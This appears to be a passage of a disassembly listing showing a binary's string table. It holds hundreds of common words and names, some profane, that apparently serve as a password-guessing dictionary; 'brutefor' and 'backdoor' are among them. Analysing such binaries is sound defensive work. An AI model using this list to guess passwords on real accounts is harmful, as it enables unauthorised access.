aGatherin db 'gatherin',0 ; DATA XREF: ___:0042F99Co
align 4
aGateway db 'gateway',0 ; DATA XREF: ___:0042F998o
aGarfield db 'garfield',0 ; DATA XREF: ___:0042F994o
align 4
aGardner db 'gardner',0 ; DATA XREF: ___:0042F990o
aGames db 'games',0 ; DATA XREF: ___:0042F98Co
align 4
aGabriel db 'gabriel',0 ; DATA XREF: ___:0042F988o
aFungible db 'fungible',0 ; DATA XREF: ___:0042F984o
align 10h
aFunction db 'function',0 ; DATA XREF: ___:0042F980o
align 4
aFudge db 'fudge',0 ; DATA XREF: ___:0042F97Co
align 4
aFuckyou db 'fuckyou',0 ; DATA XREF: ___:0042F978o
aFuckme db 'fuckme',0 ; DATA XREF: ___:0042F974o
align 4
aFucking db 'fucking',0 ; DATA XREF: ___:0042F970o
aFucker db 'fucker',0 ; DATA XREF: ___:0042F96Co
align 4
aFuck db 'fuck',0 ; DATA XREF: ___:0042F968o
align 4
aFryguy db 'fryguy',0 ; DATA XREF: ___:0042F964o
align 4
aFrog db 'frog',0 ; DATA XREF: ___:0042F960o
align 4
aFrighten db 'frighten',0 ; DATA XREF: ___:0042F95Co
align 4
aFriends db 'friends',0 ; DATA XREF: ___:0042F958o
aFriend db 'friend',0 ; DATA XREF: ___:0042F954o
align 4
aFriday db 'friday',0 ; DATA XREF: ___:0042F950o
align 10h
aFrench db 'french',0 ; DATA XREF: ___:0042F94Co
align 4
aFreedom db 'freedom',0 ; DATA XREF: ___:0042F948o
aFree db 'free',0 ; DATA XREF: ___:0042F944o
align 4
aFred db 'fred',0 ; DATA XREF: ___:0042F940o
align 10h
aFreak db 'freak',0 ; DATA XREF: ___:0042F93Co
align 4
aFrank db 'frank',0 ; DATA XREF: ___:0042F938o
align 10h
aFrance db 'france',0 ; DATA XREF: ___:0042F934o
align 4
aFoxtrot db 'foxtrot',0 ; DATA XREF: ___:0042F930o
aFourier db 'fourier',0 ; DATA XREF: ___:0042F92Co
aForsythe db 'forsythe',0 ; DATA XREF: ___:0042F928o
align 4
aFornicat db 'fornicat',0 ; DATA XREF: ___:0042F924o
align 10h
aFormat db 'format',0 ; DATA XREF: ___:0042F920o
align 4
aForm db 'form',0 ; DATA XREF: ___:0042F91Co
align 10h
aForever db 'forever',0 ; DATA XREF: ___:0042F918o
aForesigh db 'foresigh',0 ; DATA XREF: ___:0042F914o
align 4
aFord db 'ford',0 ; DATA XREF: ___:0042F910o
align 4
aForce db 'force',0 ; DATA XREF: ___:0042F90Co
align 4
aFootball db 'football',0 ; DATA XREF: ___:0042F908o
align 10h
aFoolproo db 'foolproo',0 ; DATA XREF: ___:0042F904o
align 4
aFool db 'fool',0 ; DATA XREF: ___:0042F900o
align 4
aFood db 'food',0 ; DATA XREF: ___:0042F8FCo
align 4
aFlowers db 'flowers',0 ; DATA XREF: ___:0042F8F8o
aFlower db 'flower',0 ; DATA XREF: ___:0042F8F4o
align 4
aFlorida db 'florida',0 ; DATA XREF: ___:0042F8F0o
aFloat db 'float',0 ; DATA XREF: ___:0042F8ECo
align 4
aFlakes db 'flakes',0 ; DATA XREF: ___:0042F8E8o
align 4
aFishers db 'fishers',0 ; DATA XREF: ___:0042F8E4o
aFirewall db 'firewall',0 ; DATA XREF: ___:0042F8E0o
align 4
aFire db 'fire',0 ; DATA XREF: ___:0042F8DCo
align 10h
aFinite db 'finite',0 ; DATA XREF: ___:0042F8D8o
align 4
aFile db 'file',0 ; DATA XREF: ___:0042F8D4o
align 10h
aFight db 'fight',0 ; DATA XREF: ___:0042F8D0o
align 4
aField db 'field',0 ; DATA XREF: ___:0042F8CCo
align 10h
aFidelity db 'fidelity',0 ; DATA XREF: ___:0042F8C8o
align 4
aFerrari db 'ferrari',0 ; DATA XREF: ___:0042F8C4o
aFermat db 'fermat',0 ; DATA XREF: ___:0042F8C0o
align 4
aFender db 'fender',0 ; DATA XREF: ___:0042F8BCo
align 4
aFelicia db 'felicia',0 ; DATA XREF: ___:0042F8B8o
aFeds db 'feds',0 ; DATA XREF: ___:0042F8B4o
align 4
aFear db 'fear',0 ; DATA XREF: ___:0042F8B0o
align 4
aFast db 'fast',0 ; DATA XREF: ___:0042F8ACo
align 4
aFart db 'fart',0 ; DATA XREF: ___:0042F8A8o
align 4
aFaraday db 'faraday',0 ; DATA XREF: ___:0042F8A4o
aFarad db 'farad',0 ; DATA XREF: ___:0042F8A0o
align 4
aFamily db 'family',0 ; DATA XREF: ___:0042F89Co
align 4
aFalse db 'false',0 ; DATA XREF: ___:0042F898o
align 4
aFalcon db 'falcon',0 ; DATA XREF: ___:0042F894o
align 4
aFaith db 'faith',0 ; DATA XREF: ___:0042F890o
align 4
aFairway db 'fairway',0 ; DATA XREF: ___:0042F88Co
aExtensio db 'extensio',0 ; DATA XREF: ___:0042F888o
align 10h
aExplosiv db 'explosiv',0 ; DATA XREF: ___:0042F884o
align 4
aExplorer db 'explorer',0 ; DATA XREF: ___:0042F880o
align 4
aExplore db 'explore',0 ; DATA XREF: ___:0042F87Co
aExplode db 'explode',0 ; DATA XREF: ___:0042F878o
aExpert db 'expert',0 ; DATA XREF: ___:0042F874o
align 10h
aEvelyn db 'evelyn',0 ; DATA XREF: ___:0042F870o
align 4
aEuclid db 'euclid',0 ; DATA XREF: ___:0042F86Co
align 10h
aEternity db 'eternity',0 ; DATA XREF: ___:0042F868o
align 4
aEstate db 'estate',0 ; DATA XREF: ___:0042F864o
align 4
aEstablis db 'establis',0 ; DATA XREF: ___:0042F860o
align 10h
aErsatz db 'ersatz',0 ; DATA XREF: ___:0042F85Co
align 4
aErotic db 'erotic',0 ; DATA XREF: ___:0042F858o
align 10h
aErin db 'erin',0 ; DATA XREF: ___:0042F854o
align 4
aErika db 'erika',0 ; DATA XREF: ___:0042F850o
align 10h
aErica db 'erica',0 ; DATA XREF: ___:0042F84Co
align 4
aEric db 'eric',0 ; DATA XREF: ___:0042F848o
align 10h
aErenity db 'erenity',0 ; DATA XREF: ___:0042F844o
aEnzyme db 'enzyme',0 ; DATA XREF: ___:0042F840o
align 10h
aEnterpri db 'enterpri',0 ; DATA XREF: ___:0042F83Co
align 4
aEnter db 'enter',0 ; DATA XREF: ___:0042F838o
align 4
aEnglish db 'english',0 ; DATA XREF: ___:0042F834o
aEngland db 'england',0 ; DATA XREF: ___:0042F830o
aEngineer db 'engineer',0 ; DATA XREF: ___:0042F82Co
align 10h
aEngine db 'engine',0 ; DATA XREF: ___:0042F828o
align 4
aEnemy db 'enemy',0 ; DATA XREF: ___:0042F824o
align 10h
aEmmanuel db 'emmanuel',0 ; DATA XREF: ___:0042F820o
align 4
aEmily db 'emily',0 ; DATA XREF: ___:0042F81Co
align 4
aEmerald db 'emerald',0 ; DATA XREF: ___:0042F818o
aEmail_0 db 'email',0 ; DATA XREF: ___:0042F814o
align 4
aEllen db 'ellen',0 ; DATA XREF: ___:0042F810o
align 4
aElizabet db 'elizabet',0 ; DATA XREF: ___:0042F80Co
align 4
aElephant db 'elephant',0 ; DATA XREF: ___:0042F808o
align 4
aElectron db 'electron',0 ; DATA XREF: ___:0042F804o
align 10h
aElanor db 'elanor',0 ; DATA XREF: ___:0042F800o
align 4
aElaine db 'elaine',0 ; DATA XREF: ___:0042F7FCo
align 10h
aEinstein db 'einstein',0 ; DATA XREF: ___:0042F7F8o
align 4
aEinsiein db 'einsiein',0 ; DATA XREF: ___:0042F7F4o
align 4
aEileen db 'eileen',0 ; DATA XREF: ___:0042F7F0o
align 10h
aEiderdow db 'eiderdow',0 ; DATA XREF: ___:0042F7ECo
align 4
aEgghead db 'egghead',0 ; DATA XREF: ___:0042F7E8o
aEdwina db 'edwina',0 ; DATA XREF: ___:0042F7E4o
align 4
aEdwin db 'edwin',0 ; DATA XREF: ___:0042F7E0o
align 4
aEducatio db 'educatio',0 ; DATA XREF: ___:0042F7DCo
align 10h
aEducation db 'education',0 ; DATA XREF: ___:0042F7D8o
align 4
aEdition db 'edition',0 ; DATA XREF: ___:0042F7D4o
aEdit db 'edit',0 ; DATA XREF: ___:0042F7D0o
align 4
aEdinburg db 'edinburg',0 ; DATA XREF: ___:0042F7CCo
align 4
aEdges db 'edges',0 ; DATA XREF: ___:0042F7C8o
align 10h
aEddie db 'eddie',0 ; DATA XREF: ___:0042F7C4o
align 4
aEcho db 'echo',0 ; DATA XREF: ___:0042F7C0o
align 10h
aEatme db 'eatme',0 ; DATA XREF: ___:0042F7BCo
align 4
aEasy db 'easy',0 ; DATA XREF: ___:0042F7B8o
align 10h
aEasier db 'easier',0 ; DATA XREF: ___:0042F7B4o
align 4
aEarth db 'earth',0 ; DATA XREF: ___:0042F7B0o
align 10h
aEagle db 'eagle',0 ; DATA XREF: ___:0042F7ACo
align 4
aEager db 'eager',0 ; DATA XREF: ___:0042F7A8o
align 10h
aDyke db 'dyke',0 ; DATA XREF: ___:0042F7A4o
align 4
aDungeon db 'dungeon',0 ; DATA XREF: ___:0042F7A0o
aDuncan db 'duncan',0 ; DATA XREF: ___:0042F79Co
align 4
aDulce db 'dulce',0 ; DATA XREF: ___:0042F798o
align 10h
aDuke db 'duke',0 ; DATA XREF: ___:0042F794o
align 4
aDuelist db 'duelist',0 ; DATA XREF: ___:0042F790o
aDude db 'dude',0 ; DATA XREF: ___:0042F78Co
align 4
aDuck db 'duck',0 ; DATA XREF: ___:0042F788o
align 10h
aDrought db 'drought',0 ; DATA XREF: ___:0042F784o
aDrive db 'drive',0 ; DATA XREF: ___:0042F780o
align 10h
aDrdoom db 'drdoom',0 ; DATA XREF: ___:0042F77Co
align 4
aDragon db 'dragon',0 ; DATA XREF: ___:0042F778o
align 10h
aDownload db 'download',0 ; DATA XREF: ___:0042F774o
align 4
aDope db 'dope',0 ; DATA XREF: ___:0042F770o
align 4
aDoors db 'doors',0 ; DATA XREF: ___:0042F76Co
align 4
aDoor db 'door',0 ; DATA XREF: ___:0042F768o
align 4
aDoonesbu db 'doonesbu',0 ; DATA XREF: ___:0042F764o
align 10h
aDoomsday db 'doomsday',0 ; DATA XREF: ___:0042F760o
align 4
aDoomii db 'doomii',0 ; DATA XREF: ___:0042F75Co
align 4
aDoom2 db 'doom2',0 ; DATA XREF: ___:0042F758o
align 4
aDoom db 'doom',0 ; DATA XREF: ___:0042F754o
align 4
aDong db 'dong',0 ; DATA XREF: ___:0042F750o
align 4
aDollar db 'dollar',0 ; DATA XREF: ___:0042F74Co
align 4
aDoctor db 'doctor',0 ; DATA XREF: ___:0042F748o
align 4
aDisplay_0 db 'display',0 ; DATA XREF: ___:0042F744o
aDisney db 'disney',0 ; DATA XREF: ___:0042F740o
align 4
aDiskette db 'diskette',0 ; DATA XREF: ___:0042F73Co
align 4
aDisk_0 db 'disk',0 ; DATA XREF: ___:0042F738o
align 10h
aDiscover db 'discover',0 ; DATA XREF: ___:0042F734o
align 4
aDisclose db 'disclose',0 ; DATA XREF: ___:0042F730o
align 4
aDiscipli db 'discipli',0 ; DATA XREF: ___:0042F72Co
align 4
aDisc db 'disc',0 ; DATA XREF: ___:0042F728o
align 4
aDirty db 'dirty',0 ; DATA XREF: ___:0042F724o
align 4
aDirector db 'director',0 ; DATA XREF: ___:0042F720o
align 10h
aDirect db 'direct',0 ; DATA XREF: ___:0042F71Co
align 4
aDipshit db 'dipshit',0 ; DATA XREF: ___:0042F718o
aDinosaur db 'dinosaur',0 ; DATA XREF: ___:0042F714o
align 4
aDigital db 'digital',0 ; DATA XREF: ___:0042F710o
aDieter db 'dieter',0 ; DATA XREF: ___:0042F70Co
align 4
aDiet db 'diet',0 ; DATA XREF: ___:0042F708o
align 4
aDiehard db 'diehard',0 ; DATA XREF: ___:0042F704o
aDick db 'dick',0 ; DATA XREF: ___:0042F700o
align 4
aDice db 'dice',0 ; DATA XREF: ___:0042F6FCo
align 4
aDiane db 'diane',0 ; DATA XREF: ___:0042F6F8o
align 4
aDiana db 'diana',0 ; DATA XREF: ___:0042F6F4o
align 4
aDiamond db 'diamond',0 ; DATA XREF: ___:0042F6F0o
aDial db 'dial',0 ; DATA XREF: ___:0042F6ECo
align 4
aDevice db 'device',0 ; DATA XREF: ___:0042F6E8o
align 4
aDevelop db 'develop',0 ; DATA XREF: ___:0042F6E4o
aDesperat db 'desperat',0 ; DATA XREF: ___:0042F6E0o
align 4
aDesktop db 'desktop',0 ; DATA XREF: ___:0042F6DCo
aDesk db 'desk',0 ; DATA XREF: ___:0042F6D8o
align 4
aDesiree db 'desiree',0 ; DATA XREF: ___:0042F6D4o
aDennis db 'dennis',0 ; DATA XREF: ___:0042F6D0o
align 4
aDenise db 'denise',0 ; DATA XREF: ___:0042F6CCo
align 10h
aDemocrat db 'democrat',0 ; DATA XREF: ___:0042F6C8o
align 4
aDeluge db 'deluge',0 ; DATA XREF: ___:0042F6C4o
align 4
aDelta db 'delta',0 ; DATA XREF: ___:0042F6C0o
align 4
aDefoe db 'defoe',0 ; DATA XREF: ___:0042F6BCo
align 4
aDefault_0 db 'DEFAULT',0 ; DATA XREF: ___:0042F6B8o
aDeck db 'deck',0 ; DATA XREF: ___:0042F6B0o
align 4
aDecember db 'december',0 ; DATA XREF: ___:0042F6ACo
align 10h
aDebug db 'debug',0 ; DATA XREF: ___:0042F6A8o
align 4
aDeborah db 'deborah',0 ; DATA XREF: ___:0042F6A4o
aDebbie db 'debbie',0 ; DATA XREF: ___:0042F6A0o
align 4
aDeathsta db 'deathsta',0 ; DATA XREF: ___:0042F69Co
align 4
aDead db 'dead',0 ; DATA XREF: ___:0042F698o
align 4
aDawn db 'dawn',0 ; DATA XREF: ___:0042F694o
align 4
aDave db 'dave',0 ; DATA XREF: ___:0042F690o
align 4
aData db 'data',0 ; DATA XREF: ___:0042F68Co
align 4
aDarkaven db 'darkaven',0 ; DATA XREF: ___:0042F688o
align 10h
aDark db 'dark',0 ; DATA XREF: ___:0042F684o
align 4
aDapper db 'dapper',0 ; DATA XREF: ___:0042F680o
align 10h
aDanny db 'danny',0 ; DATA XREF: ___:0042F67Co
align 4
aDanielle db 'danielle',0 ; DATA XREF: ___:0042F678o
align 4
aDaniel db 'daniel',0 ; DATA XREF: ___:0042F674o
align 4
aDancer db 'dancer',0 ; DATA XREF: ___:0042F670o
align 4
aDana db 'dana',0 ; DATA XREF: ___:0042F66Co
align 4
aDaisy db 'daisy',0 ; DATA XREF: ___:0042F668o
align 4
aDaemon db 'daemon',0 ; DATA XREF: ___:0042F664o
align 4
aCynthia db 'cynthia',0 ; DATA XREF: ___:0042F660o
aCyberspa db 'cyberspa',0 ; DATA XREF: ___:0042F65Co
align 10h
aCyberpun db 'cyberpun',0 ; DATA XREF: ___:0042F658o
align 4
aCyber db 'cyber',0 ; DATA XREF: ___:0042F654o
align 4
aCustomer db 'customer',0 ; DATA XREF: ___:0042F650o
align 10h
aCunt db 'cunt',0 ; DATA XREF: ___:0042F64Co
align 4
aCshrc db 'cshrc',0 ; DATA XREF: ___:0042F648o
align 10h
aCrystal db 'crystal',0 ; DATA XREF: ___:0042F644o
aCristina db 'cristina',0 ; DATA XREF: ___:0042F640o
align 4
aCriminal db 'criminal',0 ; DATA XREF: ___:0042F63Co
align 10h
aCrime db 'crime',0 ; DATA XREF: ___:0042F638o
align 4
aCretin db 'cretin',0 ; DATA XREF: ___:0042F634o
align 10h
aCreosote db 'creosote',0 ; DATA XREF: ___:0042F630o
align 4
aCredit db 'credit',0 ; DATA XREF: ___:0042F62Co
align 4
aCreature db 'creature',0 ; DATA XREF: ___:0042F628o
align 10h
aCreation db 'creation',0 ; DATA XREF: ___:0042F624o
align 4
aCreate db 'create',0 ; DATA XREF: ___:0042F620o
align 4
aCream db 'cream',0 ; DATA XREF: ___:0042F61Co
align 4
aCrackpot db 'crackpot',0 ; DATA XREF: ___:0042F618o
align 4
aCrack db 'crack',0 ; DATA XREF: ___:0042F614o
align 10h
aCowboy db 'cowboy',0 ; DATA XREF: ___:0042F610o
align 4
aCouscous db 'couscous',0 ; DATA XREF: ___:0042F60Co
align 4
aCountry db 'country',0 ; DATA XREF: ___:0042F608o
aCounters db 'counters',0 ; DATA XREF: ___:0042F604o
align 4
aCorrect db 'correct',0 ; DATA XREF: ___:0042F600o
aCorneliu db 'corneliu',0 ; DATA XREF: ___:0042F5FCo
align 4
aCopy db 'copy',0 ; DATA XREF: ___:0042F5F8o
align 4
aCops db 'cops',0 ; DATA XREF: ___:0042F5F4o
align 4
aCopper db 'copper',0 ; DATA XREF: ___:0042F5F0o
align 4
aCooper db 'cooper',0 ; DATA XREF: ___:0042F5ECo
align 4
aCool db 'cool',0 ; DATA XREF: ___:0042F5E8o
align 4
aCookie db 'cookie',0 ; DATA XREF: ___:0042F5E4o
align 4
aCookbook db 'cookbook',0 ; DATA XREF: ___:0042F5E0o
align 4
aCook db 'cook',0 ; DATA XREF: ___:0042F5DCo
align 10h
aContinue db 'continue',0 ; DATA XREF: sub_40F6F1+2199o
; ___:0042F5D8o
align 4
aConsole db 'console',0 ; DATA XREF: ___:0042F5D4o
aConserva db 'conserva',0 ; DATA XREF: ___:0042F5D0o
align 10h
aConnie db 'connie',0 ; DATA XREF: ___:0042F5CCo
align 4
aCondom db 'condom',0 ; DATA XREF: ___:0042F5C4o
align 10h
aCondo db 'condo',0 ; DATA XREF: ___:0042F5C0o
align 4
aComrades db 'comrades',0 ; DATA XREF: ___:0042F5BCo
align 4
aComrade db 'comrade',0 ; DATA XREF: ___:0042F5B8o
aComputin db 'computin',0 ; DATA XREF: ___:0042F5B4o
align 4
aCompany db 'company',0 ; DATA XREF: ___:0042F5B0o
aCommrade db 'commrade',0 ; DATA XREF: ___:0042F5ACo
align 4
aCommit db 'commit',0 ; DATA XREF: ___:0042F5A8o
align 4
aComics db 'comics',0 ; DATA XREF: ___:0042F5A4o
align 4
aCombat db 'combat',0 ; DATA XREF: ___:0042F5A0o
align 4
aColor db 'color',0 ; DATA XREF: ___:0042F59Co
align 4
aCollins db 'collins',0 ; DATA XREF: ___:0042F598o
aCold db 'cold',0 ; DATA XREF: ___:0042F594o
align 4
aCola db 'cola',0 ; DATA XREF: ___:0042F590o
align 4
aCoke db 'coke',0 ; DATA XREF: ___:0042F58Co
align 4
aCoin db 'coin',0 ; DATA XREF: ___:0042F588o
align 4
aCoffee db 'coffee',0 ; DATA XREF: ___:0042F584o
align 4
aCodeword db 'codeword',0 ; DATA XREF: ___:0042F580o
align 4
aCodename db 'codename',0 ; DATA XREF: ___:0042F57Co
align 4
aCode db 'code',0 ; DATA XREF: ___:0042F578o
align 4
aCock db 'cock',0 ; DATA XREF: ___:0042F574o
align 4
aCocainco db 'cocainco',0 ; DATA XREF: ___:0042F570o
align 10h
aCocacola db 'cocacola',0 ; DATA XREF: ___:0042F56Co
align 4
aCoast db 'coast',0 ; DATA XREF: ___:0042F568o
align 4
aClusters db 'clusters',0 ; DATA XREF: ___:0042F564o
align 10h
aCluster db 'cluster',0 ; DATA XREF: ___:0042F560o
aClinton db 'clinton',0 ; DATA XREF: ___:0042F55Co
aCleavage db 'cleavage',0 ; DATA XREF: ___:0042F558o
align 4
aClaymore db 'claymore',0 ; DATA XREF: ___:0042F554o
align 4
aClaudia db 'claudia',0 ; DATA XREF: ___:0042F550o
aClassic db 'classic',0 ; DATA XREF: ___:0042F54Co
aClasses db 'classes',0 ; DATA XREF: ___:0042F548o
aClass db 'class',0 ; DATA XREF: ___:0042F544o
align 4
aCindy db 'cindy',0 ; DATA XREF: ___:0042F540o
align 10h
aCigarett db 'cigarett',0 ; DATA XREF: ___:0042F53Co
align 4
aCigar db 'cigar',0 ; DATA XREF: ___:0042F538o
align 4
aChristy db 'christy',0 ; DATA XREF: ___:0042F534o
aChristin db 'christin',0 ; DATA XREF: ___:0042F530o
align 4
aChris db 'chris',0 ; DATA XREF: ___:0042F52Co
align 10h
aChip db 'chip',0 ; DATA XREF: ___:0042F528o
align 4
aChester db 'chester',0 ; DATA XREF: ___:0042F524o
aChess db 'chess',0 ; DATA XREF: ___:0042F520o
align 4
aChemistr db 'chemistr',0 ; DATA XREF: ___:0042F51Co
align 4
aChem db 'chem',0 ; DATA XREF: ___:0042F518o
align 4
aChat_0 db 'chat',0 ; DATA XREF: ___:0042F514o
align 4
aCharon db 'charon',0 ; DATA XREF: ___:0042F510o
align 4
aCharming db 'charming',0 ; DATA XREF: ___:0042F50Co
align 4
aCharlie db 'charlie',0 ; DATA XREF: ___:0042F508o
aCharles db 'charles',0 ; DATA XREF: ___:0042F504o
aCharity db 'charity',0 ; DATA XREF: ___:0042F500o
aChange db 'change',0 ; DATA XREF: ___:0042F4FCo
align 4
aCerulean db 'cerulean',0 ; DATA XREF: ___:0042F4F8o
align 4
aCeltics db 'celtics',0 ; DATA XREF: ___:0042F4F4o
aCeltic db 'celtic',0 ; DATA XREF: ___:0042F4F0o
align 4
aCelt db 'celt',0 ; DATA XREF: ___:0042F4ECo
align 4
aCecily db 'cecily',0 ; DATA XREF: ___:0042F4E8o
align 4
aCayuga db 'cayuga',0 ; DATA XREF: ___:0042F4E4o
align 4
aCave db 'cave',0 ; DATA XREF: ___:0042F4E0o
align 4
aCathy db 'cathy',0 ; DATA XREF: ___:0042F4DCo
align 4
aCatholic db 'catholic',0 ; DATA XREF: ___:0042F4D8o
align 4
aCatherin db 'catherin',0 ; DATA XREF: ___:0042F4D4o
align 4
aCastle db 'castle',0 ; DATA XREF: ___:0042F4D0o
align 4
aCash db 'cash',0 ; DATA XREF: ___:0042F4CCo
align 4
aCascades db 'cascades',0 ; DATA XREF: ___:0042F4C8o
align 10h
aCarson db 'carson',0 ; DATA XREF: ___:0042F4C4o
align 4
aCarrie db 'carrie',0 ; DATA XREF: ___:0042F4C0o
align 10h
aCaroline db 'caroline',0 ; DATA XREF: ___:0042F4BCo
align 4
aCarolina db 'carolina',0 ; DATA XREF: ___:0042F4B8o
align 4
aCarole db 'carole',0 ; DATA XREF: ___:0042F4B4o
align 10h
aCarol db 'carol',0 ; DATA XREF: ___:0042F4B0o
align 4
aCarmen db 'carmen',0 ; DATA XREF: ___:0042F4ACo
align 10h
aCarla db 'carla',0 ; DATA XREF: ___:0042F4A8o
align 4
aCaren db 'caren',0 ; DATA XREF: ___:0042F4A4o
align 10h
aCardinal db 'cardinal',0 ; DATA XREF: ___:0042F4A0o
align 4
aCard db 'card',0 ; DATA XREF: ___:0042F49Co
align 4
aCapture db 'capture',0 ; DATA XREF: ___:0042F498o
aCaptain db 'captain',0 ; DATA XREF: ___:0042F494o
aCantor db 'cantor',0 ; DATA XREF: ___:0042F490o
align 4
aCandy db 'candy',0 ; DATA XREF: ___:0042F48Co
align 4
aCandi db 'candi',0 ; DATA XREF: ___:0042F488o
align 4
aCamping db 'camping',0 ; DATA XREF: ___:0042F484o
aCampanil db 'campanil',0 ; DATA XREF: ___:0042F480o
align 10h
aCamille db 'camille',0 ; DATA XREF: ___:0042F47Co
aCaliforn db 'californ',0 ; DATA XREF: ___:0042F478o
align 4
aButthead db 'butthead',0 ; DATA XREF: ___:0042F474o
align 10h
aButt db 'butt',0 ; DATA XREF: ___:0042F470o
align 4
aButch db 'butch',0 ; DATA XREF: ___:0042F46Co
align 10h
aBurn db 'burn',0 ; DATA XREF: ___:0042F468o
align 4
aBurgess db 'burgess',0 ; DATA XREF: ___:0042F464o
aBung db 'bung',0 ; DATA XREF: ___:0042F460o
align 4
aBumbling db 'bumbling',0 ; DATA XREF: ___:0042F45Co
align 4
aBullshit db 'bullshit',0 ; DATA XREF: ___:0042F458o
align 10h
aBulls db 'bulls',0 ; DATA XREF: ___:0042F454o
align 4
aBrutefor db 'brutefor',0 ; DATA XREF: ___:0042F450o
align 4
aBrute db 'brute',0 ; DATA XREF: ___:0042F44Co
align 4
aBrunette db 'brunette',0 ; DATA XREF: ___:0042F448o
align 4
aBrothel db 'brothel',0 ; DATA XREF: ___:0042F444o
aBroadway db 'broadway',0 ; DATA XREF: ___:0042F440o
align 4
aBridget db 'bridget',0 ; DATA XREF: ___:0042F43Co
aBrian db 'brian',0 ; DATA XREF: ___:0042F438o
align 4
aBrenda db 'brenda',0 ; DATA XREF: ___:0042F434o
align 4
aBreast db 'breast',0 ; DATA XREF: ___:0042F430o
align 4
aBreak db 'break',0 ; DATA XREF: ___:0042F42Co
align 4
aBravo db 'bravo',0 ; DATA XREF: ___:0042F428o
align 4
aBrandy db 'brandy',0 ; DATA XREF: ___:0042F424o
align 4
aBrandi db 'brandi',0 ; DATA XREF: ___:0042F420o
align 4
aBradley db 'bradley',0 ; DATA XREF: ___:0042F41Co
aBoyscout db 'boyscout',0 ; DATA XREF: ___:0042F418o
align 10h
aBorn db 'born',0 ; DATA XREF: ___:0042F414o
align 4
aBook db 'book',0 ; DATA XREF: ___:0042F410o
align 10h
aBoobs db 'boobs',0 ; DATA XREF: ___:0042F40Co
align 4
aBoob db 'boob',0 ; DATA XREF: ___:0042F408o
align 10h
aBoner db 'boner',0 ; DATA XREF: ___:0042F404o
align 4
aBomb db 'bomb',0 ; DATA XREF: ___:0042F400o
align 10h
aBoard db 'board',0 ; DATA XREF: ___:0042F3FCo
align 4
aBlues db 'blues',0 ; DATA XREF: ___:0042F3F8o
align 10h
aBlue db 'blue',0 ; DATA XREF: ___:0042F3F4o
align 4
aBlowjob db 'blowjob',0 ; DATA XREF: ___:0042F3F0o
aBlow db 'blow',0 ; DATA XREF: ___:0042F3ECo
align 4
aBloodaxe db 'bloodaxe',0 ; DATA XREF: ___:0042F3E8o
align 4
aBlood db 'blood',0 ; DATA XREF: ___:0042F3E4o
align 4
aBlondie db 'blondie',0 ; DATA XREF: ___:0042F3E0o
aBlonde db 'blonde',0 ; DATA XREF: ___:0042F3DCo
align 4
aBlack db 'black',0 ; DATA XREF: ___:0042F3D8o
align 4
aBitnet db 'bitnet',0 ; DATA XREF: ___:0042F3D4o
align 4
aBitmap db 'bitmap',0 ; DATA XREF: ___:0042F3D0o
align 4
aBitch db 'bitch',0 ; DATA XREF: ___:0042F3CCo
align 4
aBishop db 'bishop',0 ; DATA XREF: ___:0042F3C8o
align 4
aBird db 'bird',0 ; DATA XREF: ___:0042F3C4o
align 4
aBios db 'bios',0 ; DATA XREF: ___:0042F3C0o
align 4
aBinary db 'binary',0 ; DATA XREF: ___:0042F3BCo
align 4
aBill db 'bill',0 ; DATA XREF: ___:0042F3B8o
align 4
aBigfoot db 'bigfoot',0 ; DATA XREF: ___:0042F3B4o
aBicamera db 'bicamera',0 ; DATA XREF: ___:0042F3B0o
align 4
aBible db 'bible',0 ; DATA XREF: ___:0042F3ACo
align 10h
aBeverly db 'beverly',0 ; DATA XREF: ___:0042F3A8o
aBetty db 'betty',0 ; DATA XREF: ___:0042F3A4o
align 10h
aBetsie db 'betsie',0 ; DATA XREF: ___:0042F3A0o
align 4
aBeth db 'beth',0 ; DATA XREF: ___:0042F39Co
align 10h
aBeta db 'beta',0 ; DATA XREF: ___:0042F398o
align 4
aBeryl db 'beryl',0 ; DATA XREF: ___:0042F394o
align 10h
aBerliner db 'berliner',0 ; DATA XREF: ___:0042F390o
align 4
aBerlin db 'berlin',0 ; DATA XREF: ___:0042F38Co
align 4
aBerkeley db 'berkeley',0 ; DATA XREF: ___:0042F388o
align 10h
aBeowulf db 'beowulf',0 ; DATA XREF: ___:0042F384o
aBenz db 'benz',0 ; DATA XREF: ___:0042F380o
align 10h
aBeloved db 'beloved',0 ; DATA XREF: ___:0042F37Co
aBell db 'bell',0 ; DATA XREF: ___:0042F378o
align 10h
aBehead db 'behead',0 ; DATA XREF: ___:0042F374o
align 4
aBegin db 'begin',0 ; DATA XREF: ___:0042F370o
align 10h
aBeethove db 'beethove',0 ; DATA XREF: ___:0042F36Co
align 4
aBecky db 'becky',0 ; DATA XREF: ___:0042F368o
align 4
aBeaver db 'beaver',0 ; DATA XREF: ___:0042F364o
align 4
aBeauty db 'beauty',0 ; DATA XREF: ___:0042F360o
align 4
aBeater db 'beater',0 ; DATA XREF: ___:0042F35Co
align 4
aBeast db 'beast',0 ; DATA XREF: ___:0042F358o
align 4
aBear db 'bear',0 ; DATA XREF: ___:0042F354o
align 4
aBeammeup db 'beammeup',0 ; DATA XREF: ___:0042F350o
align 4
aBeach db 'beach',0 ; DATA XREF: ___:0042F34Co
align 10h
aBatman db 'batman',0 ; DATA XREF: ___:0042F348o
align 4
aBatch db 'batch',0 ; DATA XREF: ___:0042F344o
align 10h
aBassoon db 'bassoon',0 ; DATA XREF: ___:0042F340o
aBass db 'bass',0 ; DATA XREF: ___:0042F33Co
align 10h
aBasic db 'basic',0 ; DATA XREF: ___:0042F338o
align 4
aBaseball db 'baseball',0 ; DATA XREF: ___:0042F334o
align 4
aBartman db 'bartman',0 ; DATA XREF: ___:0042F330o
aBart db 'bart',0 ; DATA XREF: ___:0042F32Co
align 4
aBaritone db 'baritone',0 ; DATA XREF: ___:0042F328o
align 10h
aBarf db 'barf',0 ; DATA XREF: ___:0042F324o
align 4
aBare db 'bare',0 ; DATA XREF: ___:0042F320o
align 10h
aBarber db 'barber',0 ; DATA XREF: ___:0042F31Co
align 4
aBarbara db 'barbara',0 ; DATA XREF: ___:0042F318o
aBanks db 'banks',0 ; DATA XREF: ___:0042F314o
align 4
aBank db 'bank',0 ; DATA XREF: ___:0042F310o
align 10h
aBandit db 'bandit',0 ; DATA XREF: ___:0042F30Co
align 4
aBananas db 'bananas',0 ; DATA XREF: ___:0042F308o
aBanana db 'banana',0 ; DATA XREF: ___:0042F304o
align 4
aBall db 'ball',0 ; DATA XREF: ___:0042F300o
align 10h
aBailey db 'bailey',0 ; DATA XREF: ___:0042F2FCo
align 4
aBadass db 'badass',0 ; DATA XREF: ___:0042F2F8o
align 10h
aBackdoor db 'backdoor',0 ; DATA XREF: ___:0042F2F4o
align 4
